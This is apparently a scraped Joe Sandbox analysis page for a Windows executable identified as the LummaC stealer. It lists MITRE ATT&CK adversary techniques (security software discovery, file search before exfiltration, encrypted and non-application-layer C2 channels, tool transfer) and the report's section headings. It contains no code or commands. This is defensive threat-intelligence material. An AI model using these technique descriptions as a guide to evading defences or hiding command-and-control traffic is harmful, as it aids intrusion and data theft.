Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RZnZbS97dD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Windows Analysis Report
RZnZbS97dD.exe